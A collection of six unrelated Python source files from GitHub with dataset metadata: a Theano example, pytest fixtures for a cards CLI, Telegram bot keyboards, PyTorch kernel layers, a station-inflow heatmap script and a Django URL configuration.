{"seq_id": "13759634499", "text": "# -*- coding: utf-8 -*-\r\n'''\r\nCreated on 2019年5月5日\r\n\r\n@author: Zhukun Luo\r\nJiangxi university of finance and economics\r\n'''\r\n#theano代码示例\r\nimport theano.tensor as T\r\nimport theano as th\r\na=T.scalar('a')\r\na_sq=a**2\r\nprint(a_sq)#Elemwise{pow,no_inplace}.0\r\ncompute_square=th.function([a],a_sq)#返回一个可直接使用的pyhton函数\r\nprint(compute_square(2))#4.0,类型默认为float64\r\nprint(a.dtype)#float64\r\n#相比于numba，theano不会编译通用的python代码，也不做任何类型推断，必须准确指定类型\r\n#theano真正的威力在于它对于数组的支持。要定义一维向量，可使用函数T.vector,它返回的变量支持广播操作，就像numpy数组一样\r\na=T.vector('a')\r\nb=T.vector('b')\r\nab_sq=a**2+b**2\r\ncompute_square1=th.function([a,b],ab_sq)\r\nre=compute_square1([0,1,2],[3,4,5])\r\nprint(re)#[ 9. 17. 29.]\r\n#将Theano API作为一种微型语言，用来合并各种numpy数组表达式，这样将生成高效的机器码\r\n\r\n", "repo_name": "BigBigRadish/python_high_performance", "sub_path": "parallel_processing/theano_dmeo.py", "file_name": "theano_dmeo.py", "file_ext": "py", "file_size_in_byte": 983, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "78", "api": [{"api_name": "theano.tensor.scalar", "line_number": 11, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 11, "usage_type": "name"}, {"api_name": "theano.function", "line_number": 14, "usage_type": "call"}, {"api_name": "theano.tensor.vector", "line_number": 19, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 19, "usage_type": "name"}, {"api_name": "theano.tensor.vector", "line_number": 20, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 20, "usage_type": "name"}, {"api_name": "theano.function", "line_number": 22, "usage_type": "call"}]}
{"seq_id": "8126201458", "text": "import click.testing\nimport pytest\nimport pathlib\nimport cards.cli\nimport shlex\nfrom collections import namedtuple\n\n\n@pytest.fixture()\ndef db_empty(tmpdir, monkeypatch):\n    fake_home = pathlib.Path(str(tmpdir.mkdir('fake_home')))\n\n    class FakePathLibPath():\n        def home(self):\n            return fake_home\n\n    monkeypatch.setattr(cards.cli.pathlib, 'Path', FakePathLibPath)\n\n\n@pytest.fixture()\ndef cards_cli():\n    runner = click.testing.CliRunner()\n\n    def _invoke_cards(input_string):\n        input_list = shlex.split(input_string)\n        return runner.invoke(cards.cli.cards_cli, input_list).output.rstrip()\n\n    return _invoke_cards\n\n\n@pytest.fixture()\ndef db_non_empty(db_empty, cards_cli):\n    cards_cli('add \"first item\"')\n    cards_cli('add \"second item\"')\n    cards_cli('add \"third item\"')\n\n\nItem = namedtuple('Item', ['id', 'owner', 'priority', 'done', 'summary'])\n\n\ndef items_from_output(output):\n    \"\"\"\n    Turn a tabulate output into a tuple of headers and rows\n    assuming the output was formatted in the \"jira\" style\n    \"\"\"\n    lines = output.split('\\n')\n    values = [[item.strip()\n               for item in row.split('|')[1:-1]] for row in lines[1:]]\n    items = [Item(*v) for v in values]\n    return items\n\n\n@pytest.fixture()\ndef cards_cli_list_items():\n    '''\n    Just like cards_cli fixture, with different output.\n    Returns detabulated items.\n    '''\n\n    runner = click.testing.CliRunner()\n\n    def _invoke_cards(input_string):\n        input_list = shlex.split(input_string)\n        if 'list' in input_list:\n            input_list.append('--format=jira')\n        output = runner.invoke(cards.cli.cards_cli, input_list).output.rstrip()\n        return items_from_output(output)\n\n    return _invoke_cards\n", "repo_name": "Dipana/cards", "sub_path": "tests/cli/conftest.py", "file_name": "conftest.py", "file_ext": "py", "file_size_in_byte": 1742, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "78", "api": [{"api_name": "pathlib.Path", "line_number": 11, "usage_type": "call"}, {"api_name": "cards.cli.cli", "line_number": 17, "usage_type": "attribute"}, {"api_name": "cards.cli", "line_number": 17, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 9, "usage_type": "call"}, {"api_name": "click.testing.testing.CliRunner", "line_number": 22, "usage_type": "call"}, {"api_name": "click.testing.testing", "line_number": 22, "usage_type": "attribute"}, {"api_name": "click.testing", "line_number": 22, "usage_type": "name"}, {"api_name": "shlex.split", "line_number": 25, "usage_type": "call"}, {"api_name": "cards.cli.cli", "line_number": 26, "usage_type": "attribute"}, {"api_name": "cards.cli", "line_number": 26, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 20, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 31, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 38, "usage_type": "call"}, {"api_name": "click.testing.testing.CliRunner", "line_number": 60, "usage_type": "call"}, {"api_name": "click.testing.testing", "line_number": 60, "usage_type": "attribute"}, {"api_name": "click.testing", "line_number": 60, "usage_type": "name"}, {"api_name": "shlex.split", "line_number": 63, "usage_type": "call"}, {"api_name": "cards.cli.cli", "line_number": 66, "usage_type": "attribute"}, {"api_name": "cards.cli", "line_number": 66, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 53, "usage_type": "call"}]}
{"seq_id": "7452905291", "text": "import json\nimport typing\n\nfrom aiogram import types\nfrom utils import messages\nfrom utils.models import User\n\nfrom aiogram.types import ReplyKeyboardRemove, ReplyKeyboardMarkup, KeyboardButton, InlineKeyboardMarkup, \\\n    InlineKeyboardButton\n\n\nclass KeyboardManager:\n    def __init__(self):\n        pass\n\n    def getMainKeyboard(self, user: User):\n        keyboard = types.reply_keyboard.ReplyKeyboardMarkup(resize_keyboard=True)\n        if user.admin_mode:\n            # admin keyboard\n            keyboard.add(messages.broadcast)\n            keyboard.add(messages.update_db)\n            keyboard.add(messages.votes)\n            keyboard.add(messages.questions)\n            keyboard.add(messages.registrations)\n            keyboard.add(messages.turn_off_admin)\n        else:\n            keyboard.add(messages.score_request, messages.daily_report, messages.promocode)\n            if user.is_admin:\n                keyboard.add(messages.turn_on_admin)\n        return keyboard\n\n    def getVoteKeyboard(self, vote_id: int, choices):\n        vote_keyboard = InlineKeyboardMarkup()\n\n        for choice in choices:\n            data = json.dumps({\"type\": \"vote\", \"id\": vote_id, \"choice\": choice.get_id()})\n            vote_keyboard.add(InlineKeyboardButton(text=choice.name, callback_data=data))\n\n        return vote_keyboard\n\n    def getRegistrationKeyboard(self, registration_id: int, options):\n        registration_keyboard = InlineKeyboardMarkup()\n\n        for option in options:\n            data = json.dumps({\"type\": \"registration\", \"id\": registration_id, \"option\": option.get_id()})\n            registration_keyboard.add(InlineKeyboardButton(text=option.title, callback_data=data))\n\n        return registration_keyboard\n\n    def getVotesListKeyboard(self, votes):\n        votes_list = InlineKeyboardMarkup()\n\n        for vote in votes:\n            data = {\"type\": \"vote_select\", \"id\": vote.id}\n            votes_list.add(InlineKeyboardButton(text=vote.title, callback_data=json.dumps(data)))\n\n        data = {\"type\": \"vote_select\", \"id\": -1}\n        votes_list.add(InlineKeyboardButton(text=messages.cancel, callback_data=json.dumps(data)))\n\n        return votes_list\n\n    def getQuestionsListKeyboard(self, questions):\n        questions_list = InlineKeyboardMarkup()\n\n        for question in questions:\n            data = {\"type\": \"question_select\", \"id\": question.id}\n            questions_list.add(InlineKeyboardButton(text=question.title, callback_data=json.dumps(data)))\n\n        data = {\"type\": \"question_select\", \"id\": -1}\n        questions_list.add(InlineKeyboardButton(text=messages.cancel, callback_data=json.dumps(data)))\n\n        return questions_list\n\n    def getRegistrationsKeyboard(self, registrations):\n        registrations_list = InlineKeyboardMarkup()\n\n        for registration in registrations:\n            data = {\"type\": \"registration_select\", \"id\": registration.id}\n            registrations_list.add(InlineKeyboardButton(text=registration.title, callback_data=json.dumps(data)))\n\n        data = {\"type\": \"registration_select\", \"id\": -1}\n        registrations_list.add(InlineKeyboardButton(text=messages.cancel, callback_data=json.dumps(data)))\n\n        return registrations_list\n\n    def getAnswerKeyboard(self, question_id: int):\n        answerkeyboard = InlineKeyboardMarkup()\n        data = dict(type=\"answer\", id=question_id)\n        answerkeyboard.add(InlineKeyboardButton(text=messages.answer, callback_data=json.dumps(data)))\n        return answerkeyboard\n\n\n\n    def getCancelKeyboard(self):\n        keyboard = types.reply_keyboard.ReplyKeyboardMarkup(resize_keyboard=True)\n        keyboard.add(messages.cancel)\n        return keyboard\n", "repo_name": "SumJest/unlockbot", "sub_path": "utils/keyboards.py", "file_name": "keyboards.py", "file_ext": "py", "file_size_in_byte": 3670, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "utils.models.User", "line_number": 16, "usage_type": "name"}, {"api_name": "aiogram.types.reply_keyboard.ReplyKeyboardMarkup", "line_number": 17, "usage_type": "call"}, {"api_name": "aiogram.types.reply_keyboard", "line_number": 17, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 17, "usage_type": "name"}, {"api_name": "utils.messages.broadcast", "line_number": 20, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 20, "usage_type": "name"}, {"api_name": "utils.messages.update_db", "line_number": 21, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 21, "usage_type": "name"}, {"api_name": "utils.messages.votes", "line_number": 22, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 22, "usage_type": "name"}, {"api_name": "utils.messages.questions", "line_number": 23, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 23, "usage_type": "name"}, {"api_name": "utils.messages.registrations", "line_number": 24, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 24, "usage_type": "name"}, {"api_name": "utils.messages.turn_off_admin", "line_number": 25, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 25, "usage_type": "name"}, {"api_name": "utils.messages.score_request", "line_number": 27, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 27, "usage_type": "name"}, {"api_name": "utils.messages.daily_report", "line_number": 27, "usage_type": "attribute"}, {"api_name": "utils.messages.promocode", "line_number": 27, "usage_type": "attribute"}, {"api_name": "utils.messages.turn_on_admin", "line_number": 29, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 29, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 33, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 36, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 37, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 42, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 45, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 46, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 51, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 55, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 55, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 58, "usage_type": "call"}, {"api_name": "utils.messages.cancel", "line_number": 58, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 58, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 58, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 63, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 67, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 67, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 70, "usage_type": "call"}, {"api_name": "utils.messages.cancel", "line_number": 70, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 70, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 70, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 75, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 79, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 79, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 82, "usage_type": "call"}, {"api_name": "utils.messages.cancel", "line_number": 82, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 82, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 82, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 87, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 89, "usage_type": "call"}, {"api_name": "utils.messages.answer", "line_number": 89, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 89, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 89, "usage_type": "call"}, {"api_name": "aiogram.types.reply_keyboard.ReplyKeyboardMarkup", "line_number": 95, "usage_type": "call"}, {"api_name": "aiogram.types.reply_keyboard", "line_number": 95, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 95, "usage_type": "name"}, {"api_name": "utils.messages.cancel", "line_number": 96, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 96, "usage_type": "name"}]}
{"seq_id": "42019098557", "text": "from core_components import Layer\nfrom torch_kernels import RBFKernel\nfrom torch import matmul\nfrom torch.nn import Identity, Linear, Flatten\n\nclass KernelLayer(Layer):\n    \"\"\"\n    A class representing a kernel layer for use in machine learning models.\n\n    This class inherits from the `Layer` base class and provides an implementation of the `forward`\n    method for computing the output of the layer using a kernel function.\n\n    Attributes:\n    K (Kernel): An instance of a kernel object used to compute the kernel matrix.\n    flatten (Flatten): An instance of a flatten object used to flatten the output tensor.\n    keep_track (bool): A boolean indicating whether to keep track of the kernel matrix during\n        forward propagation.\n    matmul (callable): A function for matrix multiplication.\n    \"\"\"\n\n    def __init__(self, \n                 kernel=RBFKernel, \n                 kernel_kwargs={}, \n                 keep_track=False) -> None:\n        \"\"\"\n        Initializes a new `KernelLayer` object with the specified kernel function and arguments.\n\n        Parameters:\n        kernel (Kernel): The kernel function to use for computing the kernel matrix. Defaults to\n            `RBFKernel`.\n        kernel_kwargs (dict): A dictionary of keyword arguments to pass to the kernel function.\n            Defaults to an empty dictionary.\n        keep_track (bool): A boolean indicating whether to keep track of the kernel matrix during\n            forward propagation. Defaults to False.\n\n        Returns:\n        None.\n        \"\"\"\n        \n        super().__init__()\n        self.K = kernel(**kernel_kwargs)\n        self.flatten = Flatten()\n        self.keep_track = keep_track\n        self.matmul = matmul\n\n    def forward(self, A, B=None, C=None):\n        \"\"\"\n        Computes the output of the layer using the kernel function and input data.\n\n        Parameters:\n        A (numpy.ndarray): An array of shape `(n_samples_A, n_features)` representing the input data\n            for the layer.\n        B (numpy.ndarray or None): An array of shape `(n_samples_B, n_features)` representing the\n            first set of data to use for computing the kernel matrix. If None, `B` is set to `A`.\n            Defaults to None.\n        C (numpy.ndarray or None): An array of shape `(n_samples_C, n_features)` representing the\n            second set of data to use for computing the kernel matrix. If None, `C` is set to `A`.\n            Defaults to None.\n\n        Returns:\n        A numpy array of shape `(n_samples_A, n_samples_B)` representing the output of the layer.\n        If `keep_track` is True, the output is a tuple containing the output tensor and the kernel\n        matrix used to compute it.\n        \"\"\"\n        \n        if B is None:\n            B = A  \n\n        if C is None:\n            C = A\n\n        ## It would be better formulate it in such a way that the reshape is\n        ## not needed; for this, the kernel method needs to be adjusted\n        A = A.reshape(A.shape[0], 1, A.shape[1])\n        B = B.reshape(B.shape[0], B.shape[1], 1)\n        C = C.reshape(C.shape[0], C.shape[1], 1)\n\n        k = self.K.forward(B, C)\n\n        ## is there to keep track of the kernel when working on interpretation\n        if self.keep_track:\n            return [self.flatten(self.matmul(A, k)), k]\n\n        return self.flatten(self.matmul(A, k))\n\n    def _get_components(self) -> list:\n        return [self.K]\n    \n\nclass KernelBlock(Layer):\n    \"\"\"\n    A class representing a kernel block layer for use in machine learning models.\n\n    This class inherits from the `Layer` base class and provides an implementation of the `forward`\n    method for computing the output of the layer using a kernel function.\n\n    Attributes:\n    kernel_layer (KernelLayer): An instance of a kernel layer object used to compute the kernel matrix.\n    activation_function (Activation): An instance of an activation function object used to apply an\n        activation function to the linear outputs before computing the kernel matrix.\n    input_shape (tuple): A tuple representing the shape of the input data.\n    output_shape (tuple): A tuple representing the shape of the output data.\n    method (str): A string representing the method used to compute the output of the layer. Must be\n        one of \"A\", \"AB\", or \"ABC\".\n    keep_track (bool): A boolean indicating whether to keep track of the kernel matrix during\n        forward propagation.\n    \"\"\"\n\n    def __init__(self, \n                 input_shape, \n                 output_shape, \n                 kernel=RBFKernel, \n                 kernel_kwargs={}, \n                 activation=Identity, \n                 method=\"A\", \n                 normalize=False,\n                 keep_track=False) -> None:\n        \"\"\"\n        Initializes a new `KernelBlock` object with the specified input and output shapes, kernel\n        function, activation function, method, and arguments.\n\n        Parameters:\n        input_shape (tuple): A tuple representing the shape of the input data.\n        output_shape (tuple): A tuple representing the shape of the output data.\n        kernel (Kernel): The kernel function to use for computing the kernel matrix. Defaults to\n            `RBFKernel`.\n        kernel_kwargs (dict): A dictionary of keyword arguments to pass to the kernel function.\n            Defaults to an empty dictionary.\n        activation (Activation): The activation function to apply to the linear outputs before\n            computing the kernel matrix. Defaults to `Identity`.\n        method (str): The method to use for computing the output of the layer. Must be one of \"A\",\n            \"AB\", or \"ABC\". Defaults to \"A\".\n        keep_track (bool): A boolean indicating whether to keep track of the kernel matrix during\n            forward propagation. Defaults to False.\n\n        Returns:\n        None.\n        \"\"\"\n        super().__init__()\n\n        self.kernel_layer = KernelLayer(kernel=kernel, kernel_kwargs=kernel_kwargs, keep_track=keep_track)\n        self.activation_function = activation()\n        self.input_shape = input_shape\n        self.output_shape = output_shape\n        self.method = method\n\n        self.keep_track = keep_track\n\n        ## ========================================================================== ##\n        if method == \"A\":\n            self.linear_A = Linear(self.input_shape, self.output_shape)\n\n            def forward(x):\n                A = self.linear_A.forward(x)\n                if self.normalize:\n                    A = A / A.std()\n                sA = self.activation_function(A)\n                return self.kernel_layer.forward(sA, A, A)\n            self.forward = forward\n\n        ## ========================================================================== ##\n        elif method == \"AB\":\n            self.linear_A = Linear(self.input_shape, self.output_shape)\n            self.linear_B = Linear(self.input_shape, self.output_shape)\n\n            def forward(x):\n                A = self.linear_A.forward(x)\n                B = self.linear_B.forward(x)\n                if self.normalize:\n                    A = A / A.std()\n                    B = B / B.std()\n                sA = self.activation_function(A)\n                return self.kernel_layer.forward(sA, B, B)\n            self.forward = forward\n        \n        ## ========================================================================== ##\n        elif method == \"ABC\":\n            self.linear_A = Linear(self.input_shape, self.output_shape)\n            self.linear_B = Linear(self.input_shape, self.output_shape)\n            self.linear_C = Linear(self.input_shape, self.output_shape)\n\n            def forward(x):\n                A = self.linear_A.forward(x)\n                B = self.linear_B.forward(x)\n                C = self.linear_C.forward(x)\n                if self.normalize:\n                    A = A / A.std()\n                    B = B / B.std()\n                    C = C / C.std()\n                sA = self.activation_function(A)\n                return self.kernel_layer.forward(sA, B, C)\n            self.forward = forward\n\n        ## ========================================================================== ##\n        else:\n            raise ValueError(f\"method must be either 'A', 'AB', or 'ABC', got {method} instead\")\n        \n    def _get_components(self) -> list:\n        return [self.kernel_layer]\n        \n    \n", "repo_name": "PimSchoolkateUPC/Deep-Kernel-Learning", "sub_path": "src/utils/kernel_layers.py", "file_name": "kernel_layers.py", "file_ext": "py", "file_size_in_byte": 8388, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "core_components.Layer", "line_number": 6, "usage_type": "name"}, {"api_name": "torch_kernels.RBFKernel", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.Flatten", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 44, "usage_type": "name"}, {"api_name": "core_components.Layer", "line_number": 90, "usage_type": "name"}, {"api_name": "torch_kernels.RBFKernel", "line_number": 112, "usage_type": "name"}, {"api_name": "torch.nn.Identity", "line_number": 114, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 164, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 180, "usage_type": "call"}]}
{"seq_id": "18267590344", "text": "# -*- coding: utf-8 -*-\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport math\r\nfrom collections import Counter\r\nimport datetime\r\nfrom random import choice\r\nimport matplotlib.pyplot as plt\r\nfrom Practice.heatmap.image_annotated_heatmap import heatmap, annotate_heatmap\r\n\r\n\r\nstarttime = datetime.datetime.now()\r\n\r\n# pd.set_option('display.height',1000)\r\npd.set_option('display.width',1000)\r\npd.set_option('display.max_rows',500)\r\npd.set_option('display.max_columns',500)\r\n\r\ndef SCD_Prediction():\r\n\r\n    print ('system start')\r\n    print ('reading data ...')\r\n    # ==== start of reading trips ====\r\n    # inFile = r'G:\\Program\\Pycharm Projects\\File of Python3\\SCD_System\\data\\userAttribute.csv'\r\n    # userAttribute_df = pd.read_csv(inFile,index_col=0)\r\n    inFile2 = r'G:\\Program\\Pycharm Projects\\File of Python3\\SCD_System\\data\\true_data\\userTrueTrips_oneWK.csv'\r\n    userTrueTrips_df = pd.read_csv(inFile2)\r\n    # inFile3 = r'G:\\Program\\Pycharm Projects\\File of Python3\\SCD_System\\data\\userPredictionTrips_6.csv'\r\n    # userPredictionTrips_df = pd.read_csv(inFile3)\r\n    # ==== end of reading trips ====\r\n    print ('end of reading data')\r\n    # print(userTrueTrips_df)\r\n    # print(userPredictionTrips_df)\r\n\r\n    print('dealing data...')\r\n    inStation_ls = list(set(list(userTrueTrips_df['inStation'])))\r\n    # inStation_ls = list(set(list(userTrueTrips_df['outStation']))) # outFlow\r\n    # print(inStation_ls)\r\n    # print(len(inStation_ls))\r\n    in_df = pd.DataFrame(index=inStation_ls)\r\n    in_df['inFlow'] = 0\r\n    for i in range(len(userTrueTrips_df)):\r\n        in_df.loc[userTrueTrips_df.iloc[i,4],'inFlow'] += 1\r\n        # in_df.loc[userTrueTrips_df.iloc[i,5],'inFlow'] += 1 # outFlow\r\n    in_df2 = in_df.sort_values(by='inFlow',ascending=False)\r\n    inStationSort_ls = list(in_df2.index)\r\n    # print(in_df2)\r\n    # print(inStationSort_ls)\r\n\r\n    data = []\r\n    for i in ['20170619','20170620','20170621','20170622','20170623','20170624','20170625']:\r\n        for j in [x for x in range(6,23)]:\r\n            a = i + '--' + '{}'.format(j)\r\n            data.append(a)\r\n    inFlow_df = pd.DataFrame(index=inStationSort_ls,columns=data)\r\n    # print(inFlow_df)\r\n    for i in data:\r\n        inFlow_df['{}'.format(i)] = 0.0\r\n    # print(inFlow_df)\r\n    for i in range(len(userTrueTrips_df)):\r\n        if i % 10000 == 0:\r\n            print(i,'/',len(userTrueTrips_df))\r\n        # if i == 1000:\r\n        #     break\r\n        if userTrueTrips_df.iloc[i,2] >= 230000:\r\n            # print(userTrueTrips_df.iloc[i,:])\r\n            continue\r\n        # s = '{}'.format(userTrueTrips_df.iloc[i,1])+'--'+'{}'.format(int(userTrueTrips_df.iloc[i,2]/10000))\r\n        # print(s)\r\n        # print(type(s))\r\n        inFlow_df.loc[userTrueTrips_df.iloc[i,4],\r\n                      '{}'.format(userTrueTrips_df.iloc[i,1])+'--'+'{}'.format(int(userTrueTrips_df.iloc[i,2]/10000))] +=1\r\n        # inFlow_df.loc[userTrueTrips_df.iloc[i,5],\r\n        #               '{}'.format(userTrueTrips_df.iloc[i,1])+'--'+'{}'.format(int(userTrueTrips_df.iloc[i,2]/10000))] +=1 # outFlow\r\n    # print(inFlow_df)\r\n    inFlow_ay = np.array(inFlow_df)\r\n    inFlow_ay = inFlow_ay.T\r\n    print(inFlow_ay)\r\n    for i in range(len(inFlow_ay)):\r\n        for j in range(len(inFlow_ay[i])):\r\n            if inFlow_ay[i][j] == 0:\r\n                continue\r\n            inFlow_ay[i][j] = math.log(inFlow_ay[i][j],10)\r\n    print(inFlow_ay)\r\n    print('end of deal data')\r\n\r\n    print('plot...')\r\n    row_label = data\r\n    col_label = inStationSort_ls\r\n\r\n    fig = plt.figure(figsize=(75,20))\r\n    im, cbar = heatmap(inFlow_ay,row_labels=row_label,col_labels=col_label,title=\"Stations Inflow Heatmap (station ranked by total volume)\",cmap= 'OrRd',cbarlabel='Station Inflow [log10()]')\r\n    # im, cbar = heatmap(inFlow_ay,row_labels=row_label,col_labels=col_label,title=\"Stations Outflow Heatmap (station ranked by total volume)\",cmap= 'OrRd',cbarlabel='Station Outflow [log10()]') # outFlow\r\n\r\n    plt.tight_layout()\r\n    plt.savefig(r'G:\\Program\\Pycharm Projects\\File of Python3\\SCD_System\\result\\heatmap_StationInflow.png',dpi=150)\r\n    # plt.savefig(r'G:\\Program\\Pycharm Projects\\File of Python3\\SCD_System\\result\\heatmap_StationOutflow.png',dpi=150) # outFlow\r\n    plt.show()\r\n    print('end of plot')\r\n\r\nSCD_Prediction()\r\n\r\nendtime = datetime.datetime.now()\r\nprint ('time:',(endtime - starttime).seconds,'s')\r\nusetime = (endtime - starttime).seconds\r\nh = int(usetime / 3600)\r\nm = int((usetime - 3600 * h) / 60)\r\ns = usetime - 3600 * h -60 * m\r\nprint('time:',h,'h',m,'m',s,'s')\r\n", "repo_name": "ChenYu0723/SCD_System", "sub_path": "code/SCD_Statistics3.0.py", "file_name": "SCD_Statistics3.0.py", "file_ext": "py", "file_size_in_byte": 4544, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime.now", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pandas.set_option", "line_number": 16, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 41, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 77, "usage_type": "call"}, {"api_name": "math.log", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "Practice.heatmap.image_annotated_heatmap.heatmap", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 104, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 104, "usage_type": "attribute"}]}
{"seq_id": "15257179237", "text": "from django.conf.urls import patterns, include, url\nfrom accounts.views import register,save_details,loginview,updateview,deleteview,logoutview,index\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n    # Examples:\n    # url(r'^$', 'flat.views.home', name='home'),\n    # url(r'^blog/', include('blog.urls')),\n\n    url(r'^admin/', include(admin.site.urls),name='admin'),\n    url(r'^register/', register, name='register'),\n    url(r'^save/',save_details,name='save'),\n    url(r'login/',loginview,name='login'),\n    url(r'^update/',updateview,name='update'),\n    url(r'^logout/',logoutview,name='logout'),\n    url(r'^delete/',deleteview,name='delete'),\n    url(r'^$',index,name='index')\n)\n", "repo_name": "ajnovice/flat_django", "sub_path": "flat/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 719, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.contrib.admin.autodiscover", "line_number": 4, "usage_type": "call"}, {"api_name": "django.contrib.admin", "line_number": 4, "usage_type": "name"}, {"api_name": "django.conf.urls.patterns", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 11, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 11, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 11, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "accounts.views.register", "line_number": 12, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "accounts.views.save_details", "line_number": 13, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "accounts.views.loginview", "line_number": 14, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "accounts.views.updateview", "line_number": 15, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "accounts.views.logoutview", "line_number": 16, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "accounts.views.deleteview", "line_number": 17, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 18, "usage_type": "call"}, {"api_name": "accounts.views.index", "line_number": 18, "usage_type": "argument"}]}
